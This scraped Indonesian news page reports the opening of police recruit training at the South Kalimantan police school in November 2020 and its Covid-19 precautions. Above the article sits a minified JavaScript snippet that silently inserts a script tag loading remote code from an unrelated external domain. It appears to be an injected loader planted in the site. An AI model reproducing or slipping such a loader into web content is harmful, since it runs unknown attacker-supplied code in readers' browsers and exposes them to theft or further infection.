(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wakapolda Kalsel Brigjen Pol Mohamad Agung Budijono membuka pendidikan pembentukan bintara Polri 2020/2021 di Sekolah Polisi Negara (SPN) Polda Kalsel, Selasa (17/11/2020).
Pembukaan Pendidikan Pembentukan Bintara (Diktuba) Polri ditandai dengan pemasangan tanda pangkat siswa oleh Wakapolda Kalsel Brigjen Pol Mohamad Agung Budijono disaksikan Irwasda Polda Kalsel Kombes Pol Dr Heri Armanto Sutikno, pejabat utama Polda Kalsel dan pejabat utama SPN Polda Kalsel.
Kapolri Jenderal Polisi Drs Idham Azis MSi dalam sambutannya yang dibacakan oleh Wakapolda Kalsel menyampaikan sebanyak 11.208 calon Bhayangkara siswa, terdiri 10.648 pria dan 560 wanita, telah dinyatakan lulus untuk mengikuti Diktuba Polri secara serentak di Sekolah Polisi Wanita (Sepolwan) dan 31 SPN Polda jajaran.
“Adapun jumlah siswa yang mengikuti pendidikan di SPN Polda Kalsel sebanyak 235 orang siswa,” ujar Wakapolda.
Berkaitan dengan Diktuba Polri yang dilaksanakan dalam situasi Pandemi Covid-19 saat ini, Wakapolda Kalsel menjelaskan, pendidikan akan tetap bejalan sebagaimana mestinya namun tetap dengan menerapkan protokol kesehatan sebagai aspek utama.
“Efektivitas proses pendidikan harus memenuhi standar yang telah ditetapkan dengan menerapkan prinsip pendidikan yang sehat, efektif dan berkualitas,” ungkap Wakapolda Kalsel.
Menurutnya, aspek kesehatan tetap menjadi prioritas utama untuk menjamin proses pendidikan berjalan dengan baik sehingga dapat mewujudkan SDM Polri yang berkualitas unggul dan berbudi pekerti luhur.
“Sekali lagi saya tekankan bahwa calon Bhayangkara Siswa nantinya akan menjadi tulang punggung pelaksanaan tugas Polri yang langsung bersentuhan dengan masyarakat,” tuturnya.
“Oleh karena itu, diharapkan melalui pendidikan ini, dapat mencetak anggota Polri yang siap kerja dan siap operasional dalam memberikan pelayanan yang terbaik kepada masyarakat,” imbuhnya.
Wakapolda Kalsel berpesan kepada seluruh siswa Diktuba Polri Polda Kalsel untuk selalu menjaga kesehatan, menerapkan protokol kesehatan 3M yakni mencuci tangan, memakai masker, menjaga jarak dan tidak berkerumun.
Sementara itu, Kepala SPN Polda Kalsel Kombes Pol Leo Joko Triwibowo menyampaikan mulai dari tenaga pendidikan (Gadik) hingga sarana prasarana telah dipersiapkan bagi para siswa Bintara Polri yang baru.
Terkait pendidikan Diktukba, SPN Polda Kalsel mengikuti protokol kesehatan dengan menyesuaikan situasi Pandemi Covid-19 yang saat ini masih melanda.
Persiapan khususnya juga dilakukan SPN Polda Kalsel, sebelum adanya pandemi Covid-19 barak yang diisi oleh 80 siswa, kini hanya diisi oleh 40 siswa. Guna mencegah penyebaran wabah Covid-19 dan munculnya klaster baru. (kanalkalimantan.com/rls)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.